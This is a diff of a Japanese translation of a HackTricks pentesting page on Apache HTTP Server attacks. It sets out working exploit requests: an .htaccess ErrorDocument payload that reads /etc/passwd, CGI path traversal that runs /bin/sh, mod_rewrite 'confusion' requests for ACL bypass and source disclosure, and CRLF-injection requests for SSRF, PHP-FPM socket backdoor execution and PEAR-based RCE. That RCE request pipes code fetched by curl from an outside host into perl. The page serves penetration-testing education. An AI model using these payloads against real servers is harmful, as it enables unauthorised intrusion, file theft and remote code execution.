Translated ['', 'src/network-services-pentesting/pentesting-web/apache.m

src/network-services-pentesting/pentesting-web/apache.md

@@ -2,13 +2,13 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## 実行可能なPHP拡張
+## 実行されているPHP拡張
 
-Apacheサーバーが実行している拡張を確認します。それらを検索するには、次のコマンドを実行できます:
+Apacheサーバーが実行しているPHP拡張を確認します。これらを検索するには、次のコマンドを実行できます:
 ```bash
 grep -R -B1 "httpd-php" /etc/apache2
 ```
-この設定を見つけることができる場所は次のとおりです：
+また、この設定が見つかる場所には次のようなものがあります:
 ```bash
 /etc/apache2/mods-available/php5.conf
 /etc/apache2/mods-enabled/php5.conf
@@ -21,19 +21,47 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con
 uid=1(daemon) gid=1(daemon) groups=1(daemon)
 Linux
 ```
+## LFI — .htaccess の ErrorDocument file provider (ap_expr) を経由
+
+あるディレクトリの .htaccess を制御でき、当該パスに対して AllowOverride に FileInfo が含まれている場合、ErrorDocument 内で ap_expr の file() 関数を使用して 404 応答を任意のローカルファイル読み取りに変換できます。
+
+- 要件:
+- Apache 2.4 で expression parser (ap_expr) が有効になっていること（2.4 ではデフォルト）。
+- vhost/dir が .htaccess による ErrorDocument の設定を許可している必要があります（AllowOverride FileInfo）。
+- Apache の worker ユーザーがターゲットファイルに対して読み取り権限を持っている必要があります。
+
+.htaccess payload:
+```apache
+# Optional marker header just to identify your tenant/request path
+Header always set X-Debug-Tenant "demo"
+# On any 404 under this directory, return the contents of an absolute filesystem path
+ErrorDocument 404 %{file:/etc/passwd}
+```
+そのディレクトリ以下の存在しないパスをリクエストすることでトリガーします。例えば、userdir-style hosting を悪用する場合など:
+```bash
+curl -s http://target/~user/does-not-exist | sed -n '1,20p'
+```
+メモとヒント:
+- 絶対パスのみが機能します。コンテンツは404ハンドラのレスポンスボディとして返されます。
+- 実際の読み取り権限は Apache ユーザ（通常は www-data/apache）の権限になります。デフォルト設定では /root/* や /etc/shadow を読むことはできません。
+- たとえ .htaccess が root 所有でも、親ディレクトリがテナント所有で rename を許可している場合、元の .htaccess をリネームして SFTP/FTP 経由で自分の置き換えをアップロードできることがあります：
+- rename .htaccess .htaccess.bk
+- put your malicious .htaccess
+- これを利用して DocumentRoot や vhost の設定パス下のアプリケーションソースを読み取り、シークレット（DB creds、API keys など）を収集できます。
+
 ## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
 
-これらの攻撃は[**Orangeによってこのブログ投稿で**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)紹介され、文書化されています。以下はその要約です。「混乱」攻撃は、Apacheを作成するために連携して動作する多数のモジュールが完全に同期していないことを悪用し、いくつかのモジュールが予期しないデータを変更することで、後のモジュールに脆弱性を引き起こす可能性があります。
+These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.
 
 ### Filename Confusion
 
 #### Truncation
 
-**`mod_rewrite`**は、`r->filename`の内容を`?`の後で切り詰めます（[_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)）。これは完全に間違っているわけではなく、ほとんどのモジュールは`r->filename`をURLとして扱います。しかし、他の場面ではこれがファイルパスとして扱われ、問題を引き起こす可能性があります。
+The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.
 
 - **Path Truncation**
 
-以下のルールの例のように`mod_rewrite`を悪用して、期待されるパスの最後の部分を単に`?`を追加することで削除し、ファイルシステム内の他のファイルにアクセスすることが可能です。
+It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`:
 ```bash
 RewriteEngine On
 RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
@@ -46,9 +74,9 @@ curl http://server/user/orange
 curl http://server/user/orange%2Fsecret.yml%3F
 # the output of file `/var/user/orange/secret.yml`
 ```
-- **誤解を招くRewriteFlagの割り当て**
+- **Mislead RewriteFlag Assignment**
 
-次のリライトルールでは、URLが.phpで終わる限り、それはphpとして扱われ、実行されます。したがって、`?`文字の後に.phpで終わるURLを送信し、パスに悪意のあるphpコードが含まれた別のタイプのファイル（画像など）を読み込むことが可能です。
+以下の rewrite rule では、URL が .php で終わる限り、それは php として扱われ実行されます。したがって、パスに（画像など）別の種類のファイルを読み込ませつつ、`?` 以降に .php で終わる URL を送信して、その中に悪意のある php コードを含めることが可能です：
 ```bash
 RewriteEngine On
 RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]
@@ -63,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php
 ```
 #### **ACL Bypass**
 
-ユーザーがアクセスを拒否されるべきファイルにアクセスすることが可能です。これは次のような設定で発生します：
+以下のような設定では、本来アクセスが拒否されるべきファイルにユーザーがアクセスできてしまうことがある:
 ```xml
 <Files "admin.php">
 AuthType Basic
@@ -72,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
 Require valid-user
 </Files>
 ```
-これは、デフォルトでPHP-FPMが`.php`で終わるURLを受け取るためです。例えば、`http://server/admin.php%3Fooo.php`のように、PHP-FPMは`?`の後のすべてを削除するため、前のルールが禁止していても、以前のURLは`/admin.php`を読み込むことを許可します。
+これは、デフォルトで PHP-FPM が `.php` で終わる URL（例: `http://server/admin.php%3Fooo.php`）を受け取り、さらに PHP-FPM が文字 `?` 以降を削除するため、前述の URL は前のルールで禁止されていても `/admin.php` を読み込めてしまうためです。
 
-### DocumentRootの混乱
+### DocumentRoot の混乱
 ```bash
 DocumentRoot /var/www/html
 RewriteRule  ^/html/(.*)$   /$1.html
 ```
-Apacheに関する面白い事実は、以前のリライトがdocumentRootとルートの両方からファイルにアクセスしようとすることです。したがって、`https://server/abouth.html`へのリクエストは、ファイルシステム内の`/var/www/html/about.html`と`/about.html`の両方でファイルをチェックします。これは基本的にファイルシステム内のファイルにアクセスするために悪用される可能性があります。
+Apacheに関する面白い事実として、前述のrewriteはdocumentRootとrootの両方からファイルにアクセスしようとします。したがって、`https://server/abouth.html` へのリクエストはファイルシステムの `/var/www/html/about.html` と `/about.html` の両方を確認します。これは基本的にファイルシステム内のファイルにアクセスするために悪用できます。
 
-#### **サーバーサイドソースコードの開示**
+#### **サーバーサイドのソースコード公開**
 
-- **CGIソースコードの開示**
+- **CGIソースコードの公開**
 
-末尾に%3Fを追加するだけで、cgiモジュールのソースコードを漏洩させるのに十分です：
+末尾に%3Fを追加するだけで、cgi moduleのソースコードをleakするのに十分です:
 ```bash
 curl http://server/cgi-bin/download.cgi
 # the processed result from download.cgi
@@ -95,62 +123,62 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
 # ...
 # # the source code of download.cgi
 ```
-- **PHPソースコードの開示**
+- **PHP ソースコードを公開する**
 
-サーバーに異なるドメインがあり、そのうちの1つが静的ドメインである場合、これを悪用してファイルシステムを横断し、phpコードを漏洩させることができます：
+サーバーが複数のドメインを持ち、そのうちの1つが静的ドメインである場合、これを悪用してファイルシステムを横断し、php code を leak することができます:
 ```bash
 # Leak the config.php file of the www.local domain from the static.local domain
 curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
 # the source code of config.php
 ```
-#### **ローカルガジェットの操作**
+#### **Local Gadgets Manipulation**
 
-前の攻撃の主な問題は、デフォルトではほとんどのファイルシステムへのアクセスが拒否されることです。これはApache HTTP Serverの[設定テンプレート](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115)に示されています。
+前の攻撃の主な問題点は、デフォルトではファイルシステムへのほとんどのアクセスが拒否されることであり、これは Apache HTTP Server の [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
 ```xml
 <Directory />
 AllowOverride None
 Require all denied
 </Directory>
 ```
-しかし、[Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) オペレーティングシステムはデフォルトで `/usr/share` を許可しています：
+ただし、[Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) オペレーティングシステムはデフォルトで `/usr/share` を許可しています:
 ```xml
 <Directory /usr/share>
 AllowOverride None
 Require all granted
 </Directory>
 ```
-したがって、これらのディストリビューションの `/usr/share` 内にあるファイルを**悪用することが可能です。**
+Therefore, it would be possible to **abuse files located inside `/usr/share` in these distributions.**
 
-**ローカルガジェットによる情報漏洩**
+**Local Gadget to Information Disclosure**
 
-- **Apache HTTP Server** と **websocketd** は、**/usr/share/doc/websocketd/examples/php/** にある **dump-env.php** スクリプトを公開する可能性があり、これにより機密の環境変数が漏洩する可能性があります。
-- **Nginx** または **Jetty** を使用しているサーバーは、デフォルトのウェブルートに配置された機密のウェブアプリケーション情報（例：**web.xml**）を公開する可能性があります：
+- **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, which can leak sensitive environment variables.
+- Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**:
 - **/usr/share/nginx/html/**
 - **/usr/share/jetty9/etc/**
 - **/usr/share/jetty9/webapps/**
 
-**ローカルガジェットによるXSS**
+**Local Gadget to XSS**
 
-- **LibreOfficeがインストールされたUbuntu Desktop** では、ヘルプファイルの言語切り替え機能を悪用することで **クロスサイトスクリプティング（XSS）** が発生する可能性があります。**/usr/share/libreoffice/help/help.html** でURLを操作することで、悪意のあるページや古いバージョンにリダイレクトされる可能性があります。
+- Ubuntu Desktop に **LibreOffice** がインストールされている環境では、ヘルプファイルの言語切替機能を悪用することで **Cross-Site Scripting (XSS)** を引き起こす可能性があります。**/usr/share/libreoffice/help/help.html** の URL を操作することで、unsafe RewriteRule を介して悪意のあるページや古いバージョンへリダイレクトされる場合があります。
 
-**ローカルガジェットによるLFI**
+**Local Gadget to LFI**
 
-- PHPや **JpGraph** や **jQuery-jFeed** のような特定のフロントエンドパッケージがインストールされている場合、これらのファイルを悪用して **/etc/passwd** のような機密ファイルを読み取ることができます：
+- PHP や **JpGraph**、**jQuery-jFeed** などのフロントエンドパッケージがインストールされている場合、それらのファイルを悪用して **/etc/passwd** のような機密ファイルを読み取れる可能性があります:
 - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
 - **/usr/share/javascript/jquery-jfeed/proxy.php**
 - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
 
-**ローカルガジェットによるSSRF**
+**Local Gadget to SSRF**
 
-- **MagpieRSSのmagpie_debug.php** を **/usr/share/php/magpierss/scripts/magpie_debug.php** で利用することで、SSRF脆弱性を簡単に作成でき、さらなる攻撃へのゲートウェイを提供します。
+- **MagpieRSS** の **magpie_debug.php**（**/usr/share/php/magpierss/scripts/magpie_debug.php**）を利用すると、簡単に SSRF 脆弱性を作り出すことができ、さらなる攻撃への足掛かりになります。
 
-**ローカルガジェットによるRCE**
+**Local Gadget to RCE**
 
-- **リモートコード実行（RCE）** の機会は広範で、古い **PHPUnit** や **phpLiteAdmin** のような脆弱なインストールが存在します。これらは任意のコードを実行するために悪用される可能性があり、ローカルガジェットの操作の広範な可能性を示しています。
+- 古い **PHPUnit** や **phpLiteAdmin** のような脆弱なインストールが存在すると、任意のコード実行（Remote Code Execution (RCE)）の機会が多く、ローカルガジェットの悪用で広範な攻撃が可能になります。
 
-#### **ローカルガジェットからの脱獄**
+#### **Jailbreak from Local Gadgets**
 
-インストールされたソフトウェアによって生成されたシンボリックリンクをたどることで、許可されたフォルダから脱獄することも可能です。例えば：
+インストールされたソフトウェアがこれらのフォルダ内に作成するシンボリックリンクを辿ることで、許可されたフォルダから jailbreak することも可能です。例:
 
 - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
 - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
@@ -158,55 +186,55 @@ Require all granted
 - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
 - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
 
-さらに、シンボリックリンクを悪用することで **RedmineでのRCEを取得することが可能でした。**
+さらに、シンボリックリンクを悪用することで Redmine に対して RCE を得られた事例もあります。
 
-### ハンドラ混乱 <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
+### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
 
-この攻撃は、`AddHandler` と `AddType` ディレクティブの機能の重複を悪用します。これらはどちらも **PHP処理を有効にする** ために使用できます。元々、これらのディレクティブはサーバーの内部構造の異なるフィールド（それぞれ `r->handler` と `r->content_type`）に影響を与えていました。しかし、レガシーコードのため、Apacheは特定の条件下でこれらのディレクティブを相互に処理し、前者が設定されていて後者が設定されていない場合、`r->content_type` を `r->handler` に変換します。
+この攻撃は `AddHandler` と `AddType` 指令の機能重複を突くもので、どちらも **PHP 処理を有効化** するために使われ得ます。もともとこれらの指令はサーバ内部構造の異なるフィールド（それぞれ `r->handler` と `r->content_type`）に影響を与えていました。しかし、レガシーコードのために、特定の条件下では Apache はこれらの指令を相互に扱い、`r->content_type` が設定され `r->handler` が設定されていない場合に `r->content_type` を `r->handler` に変換します。
 
-さらに、Apache HTTP Server (`server/config.c#L420`) では、`ap_run_handler()` を実行する前に `r->handler` が空である場合、サーバーは **`r->content_type` をハンドラとして使用します**。これにより、`AddType` と `AddHandler` は効果的に同一になります。
+さらに、Apache HTTP Server（`server/config.c#L420`）では、`ap_run_handler()` 実行前に `r->handler` が空であれば、サーバは **`r->content_type` を handler として使用** します。これにより `AddType` と `AddHandler` の効果が事実上同一になります。
 
-#### **ハンドラを上書きしてPHPソースコードを開示する**
+#### **Overwrite Handler to Disclose PHP Source Code**
 
-[**この講演**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) では、クライアントによって送信された不正な `Content-Length` が原因でApacheが誤って **PHPソースコードを返す** 脆弱性が提示されました。これは、ModSecurityとApache Portable Runtime（APR）のエラーハンドリングの問題によるもので、二重応答が `r->content_type` を `text/html` に上書きすることにつながります。\
-ModSecurityが戻り値を適切に処理しないため、PHPコードを返し、それを解釈しません。
+[**この講演**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) では、クライアントが不正な `Content-Length` を送信すると Apache が誤って **PHP ソースコードを返してしまう** 脆弱性が紹介されました。これは ModSecurity と Apache Portable Runtime (APR) のエラーハンドリングの問題で、二重レスポンスが発生すると `r->content_type` が `text/html` に上書きされるためです。\
+ModSecurity が戻り値を適切に扱わないため、PHP コードを返し解釈しないという状況が発生しました。
 
-#### **ハンドラを上書きしてXXXX**
+#### **Overwrite Handler to XXXX**
 
-TODO: Orangeはこの脆弱性をまだ開示していません
+TODO: Orange はこの脆弱性をまだ公開していません
 
-### **任意のハンドラを呼び出す**
+### **Invoke Arbitrary Handlers**
 
-攻撃者がサーバー応答の **`Content-Type`** ヘッダーを制御できる場合、**任意のモジュールハンドラを呼び出す** ことができます。しかし、攻撃者がこれを制御する時点で、リクエストのほとんどの処理は完了しています。ただし、**`Location` ヘッダーを悪用してリクエストプロセスを再起動することが可能です**。なぜなら、**r** が返された `Status` が200で、`Location` ヘッダーが `/` で始まる場合、応答はサーバーサイドリダイレクションとして扱われ、処理されるべきだからです。
+攻撃者がレスポンスの **`Content-Type`** ヘッダを制御できるようになると、任意のモジュールハンドラを **invoke** できるようになります。ただし、その時点までにリクエストの大半は既に処理済みであることが多いです。しかし、`Location` ヘッダを悪用してリクエスト処理を再起動することが可能です。返された `Status` が 200 で `Location` ヘッダが `/` で始まる場合、そのレスポンスは Server-Side Redirection と扱われ再処理されます。
 
-[RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875)（CGIに関する仕様）では、[セクション6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) でローカルリダイレクト応答の動作を定義しています：
+RFC 3875（CGI に関する仕様）の [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) は Local Redirect Response の振る舞いを定義しています:
 
-> CGIスクリプトは、ローカルリソースのためのURIパスとクエリ文字列（‘local-pathquery’）をLocationヘッダーに返すことができます。これは、サーバーに指定されたパスを使用してリクエストを再処理するよう指示します。
+> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
 
-したがって、この攻撃を実行するには、次のいずれかの脆弱性が必要です：
+したがって、この攻撃を行うには次のいずれかの脆弱性が必要です:
 
-- CGI応答ヘッダーにおけるCRLFインジェクション
-- 応答ヘッダーの完全な制御を伴うSSRF
+- CRLF Injection in the CGI response headers
+- SSRF with complete control of the response headers
 
-#### **任意のハンドラによる情報漏洩**
+#### **Arbitrary Handler to Information Disclosure**
 
-例えば、`/server-status` はローカルでのみアクセス可能であるべきです：
+For example `/server-status` should only be accessible locally:
 ```xml
 <Location /server-status>
 SetHandler server-status
 Require local
 </Location>
 ```
-`Content-Type`を`server-status`に設定し、Locationヘッダーを`/`で始めることでアクセスすることが可能です。
+`Content-Type` を `server-status` に設定し、Location ヘッダを `/` で始まるようにするとアクセスできます
 ```
 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
 Location:/ooo %0d%0a
 Content-Type:server-status %0d%0a
 %0d%0a
 ```
-#### **任意ハンドラーから完全なSSRFへ**
+#### **Arbitrary Handler to Full SSRF**
 
-`mod_proxy`にリダイレクトして、任意のURL上の任意のプロトコルにアクセスする:
+任意のプロトコルや任意のURLにアクセスするために `mod_proxy` にリダイレクトする:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo %0d%0a
@@ -215,20 +243,20 @@ http://example.com/%3F
 %0d%0a
 %0d%0a
 ```
-しかし、`X-Forwarded-For` ヘッダーが追加され、クラウドメタデータエンドポイントへのアクセスが防止されます。
+しかし、`X-Forwarded-For` ヘッダが追加されているため、クラウドメタデータエンドポイントへのアクセスがブロックされます。
 
-#### **ローカルUnixドメインソケットにアクセスするための任意のハンドラー**
+#### **ローカル Unix Domain Socket にアクセスする任意のハンドラ**
 
-PHP-FPMのローカルUnixドメインソケットにアクセスして、`/tmp/` にあるPHPバックドアを実行します：
+PHP-FPM のローカル Unix Domain Socket にアクセスして `/tmp/` にある PHP backdoor を実行します:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo %0d%0a
 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
 %0d%0a
 ```
-#### **任意ハンドラーによるRCE**
+#### **Arbitrary Handler to RCE**
 
-公式の [PHP Docker](https://hub.docker.com/_/php) イメージには、コマンドラインPHPパッケージ管理ツールであるPEAR（`Pearcmd.php`）が含まれており、これを悪用してRCEを取得できます：
+公式の [PHP Docker](https://hub.docker.com/_/php) イメージには PEAR (`Pearcmd.php`) が含まれており、これはコマンドラインの PHP パッケージ管理ツールで、悪用すると RCE を取得できます:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
@@ -237,10 +265,13 @@ orange.tw/x|perl
 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
 %0d%0a
 ```
-Check [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)、著者は[Phith0n](https://x.com/phithon_xg)です。この技術の詳細については、こちらをご覧ください。
+この手法の詳細については、[**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)（著者：[Phith0n](https://x.com/phithon_xg)）を参照してください。
 
-## References
+## 参考資料
 
 - [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
+- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)
+- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html)
+- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)
 
 {{#include ../../banners/hacktricks-training.md}}